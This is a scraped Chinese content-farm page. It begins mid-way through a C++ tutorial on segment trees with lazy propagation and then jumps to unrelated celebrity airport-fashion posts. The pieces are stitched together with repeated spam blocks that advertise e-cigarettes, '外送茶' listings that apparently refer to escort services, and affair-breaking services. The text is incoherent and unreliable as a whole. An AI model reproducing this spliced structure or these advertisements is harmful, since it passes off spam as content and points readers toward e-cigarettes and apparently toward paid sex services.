		tree[rt].sum += k*(tree[rt].r-tree[rt].l+1);//更新當前區間的權值
		tree[rt].lazy += k;//增加懶惰標記
		return;
	}
	pushdown(rt);//下放懶惰標記
	if(tree[rt*2].r >= l)add(rt*2,l,r,k);//遞歸更新左兒子
	if(tree[rt*2+1].l <= r)add(rt*2+1,l,r,k);//遞歸更新右兒子
	tree[rt].sum = tree[rt*2].sum+tree[rt*2+1].sum;//更新當前節點的權值
	return;
}

區間查詢的時候和之前幾乎一樣 不同的是要進行懶惰標記的下放之後在累加

long long search(long long rt,long long l,long long r){
	if(tree[rt].l >= l && tree[rt].r <= r)return tree[rt].sum;//如果當前區間完全包含在目標區間內 直接返回當前區間的權值
	if(tree[rt].r < l || tree[rt].l > r)return 0;//如果當前區間和目標區間完全沒有關係 直接返回0
	pushdown(rt);//下放懶惰標記
	long long s = 0;
	if(tree[rt*2].r >= l)s += search(rt*2,l,r);
	if(tree[rt*2+1].l <= r)s += search(rt*2+1,l,r);
	return s;//最後返回這個區間的和
}

線段樹模型大概就是這個樣子(線段樹還是比較受出題人青睞的難道是因為難調??)
附上練習攻略:
簡單線段樹建議用洛谷P3374【模板】樹狀數組1
        洛谷P3368【模板】樹狀數組2練習板子
如果簡單線段樹沒有問題了
可以去嘗試一下:洛谷P3372【模板】線段樹1
        洛谷P3373【模板】線段樹2
        洛谷P6242【模板】線段樹3

謝謝觀看
點個關注>_<

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

陳數在活動上下氣質都好,外穿格紋風衣出行

陳數是一位低調又很有實力的女演員,另外,陳數也是娛樂圈裡面“不老女神”之一,42歲的陳數不僅沒有什麼老態,相反,狀態上還是保持得很好,這不,只見陳數來機場了,看到陳數在活動上下氣質都好,外穿格紋風衣出行,頗為簡約大氣!來看下是什麼樣子的吧。

先看陳數活動上的LOOK,首先是外穿了一件卡其色的風衣,看起來的話是非常經典的,披上這件卡其色的風衣也同時襯得陳數皮膚很白,人也顯得瀟灑大氣。另外,在這件風衣的基礎上,陳數內搭了“死亡芭比粉”裙子,可顯甜美了呢。

要是換下她身上的那件風衣,那陳數看起來的話更加美,都42歲了,駕馭起粉色的裙子還是毫無壓力的,而且,這還是條修身的裙子,襯得陳數在身材上是非常苗條的呢,那種女人味盡顯。

那麼,在機場里的陳數又會是什麼樣子的呢?看陳數戴了頂鴨舌帽,還戴上那墨鏡,那種范就出來了,在穿衣服的時候,陳數還將袖子給撩上去了一些,感覺氣勢上很強,接着,我們看到她還戴了款手錶出行,頗有幾分精緻感。

看到陳數外穿了一件長款的風衣,而且,這還是一件格紋的風衣,也是屬於經典款的,穿在身上的話給人感覺是非常大氣的類型,同時還顯得比較成熟,是大齡女生在職場上最喜歡的單品之一呢。

在這件格紋大衣的基礎上,陳數內搭了一件黑色的高領,看來天氣真的是冷了,大家都已經把高領拿出來穿了,不過呢,她這件高領是修身款的,因此,穿在身上不會像毛衣那樣子顯得過於臃腫,還是蠻好看的。

再然後,陳數下搭了一款黑色的修身休閑褲,因此,陳數這一身是格紋的大衣內搭一身黑色的裝扮,這麼穿的話是相當顯瘦的呢,在我們的審美當中,一般都是覺得,瘦一點的話會更加美呢。

不過呢,要是全黑的打扮未免太過於單調和沉悶了,看陳數腳上搭配了一雙白色的休閑鞋,這樣的話就不單調了,所以,可以看得出來,陳數在搭配的時候還是相當講究的呢。好看極了。

好了,陳數的格紋風衣造型就是這樣,整體來看的話是間簡單單的一身,可是卻也是非常顯氣質的一身,不管台上還是台下,都是那麼端莊得體。那麼,看了陳數的LOOK你怎麼看呢?喜歡陳數的衣品嗎?

本站聲明:網站內容來源於http://www.shelive.net/,如有侵權,請聯繫我們,我們將及時處理

【精選推薦文章】

※你應該要知道的電子煙懶人包!

※男人為什麼總愛舒壓按摩台北外送茶交流呢?

※解決小三、二奶問題,斬桃花推薦

34套秋裝,輕鬆穿出輕熟女人味

在這個看臉、看身材的時代,擁有好衣品其實是個人魅力的加分項,穿衣好看並不需要投資多麼昂貴的大牌。有時候,一件普通的襯衫、風衣,或者是剪裁得體、品質經得起考究的西裝就能讓你穿出耐看、時髦的味道!

本站聲明:網站內容來源於http://www.shelive.net/,如有侵權,請聯繫我們,我們將及時處理

【精選推薦文章】

※電子煙有爭議?真相解密

※桃園外送茶莊、喝茶吃宵夜首選

※愛情診療室,感情挽回推薦

袁姍姍穿格紋外套配牛仔褲現身 自推行李行走

2019年10月24日,袁姍姍現身北京機場,當天她身穿格紋外套內搭黃色T恤,下身穿牛仔褲,腳黑色長靴,肩背黑色包包,頭戴黑色漁夫帽,紅唇膚白打扮時尚清新,自推行李行走間星范十足。

本站聲明:網站內容來源於http://www.shelive.net/,如有侵權,請聯繫我們,我們將及時處理

【精選推薦文章】

※全台最大電子煙交易平台?

※新竹外送茶交流平台

※被爛人糾纏,如何斬桃花?

董力現身上海機場飛往北京,打扮運動休閑

董力現身上海機場飛往北京,當天他身穿黑色連帽衛衣搭配黑色運動褲,腳白色運動鞋,手拿黑色外套,打扮運動休閑帥氣十足,自推行李行走間秀大長腿星范十足。

本站聲明:網站內容來源於http://www.shelive.net/,如有侵權,請聯繫我們,我們將及時處理

【精選推薦文章】

※高雄外送茶坊行情

※解決小三、二奶問題,斬桃花推薦

※愛情診療室,感情挽回推薦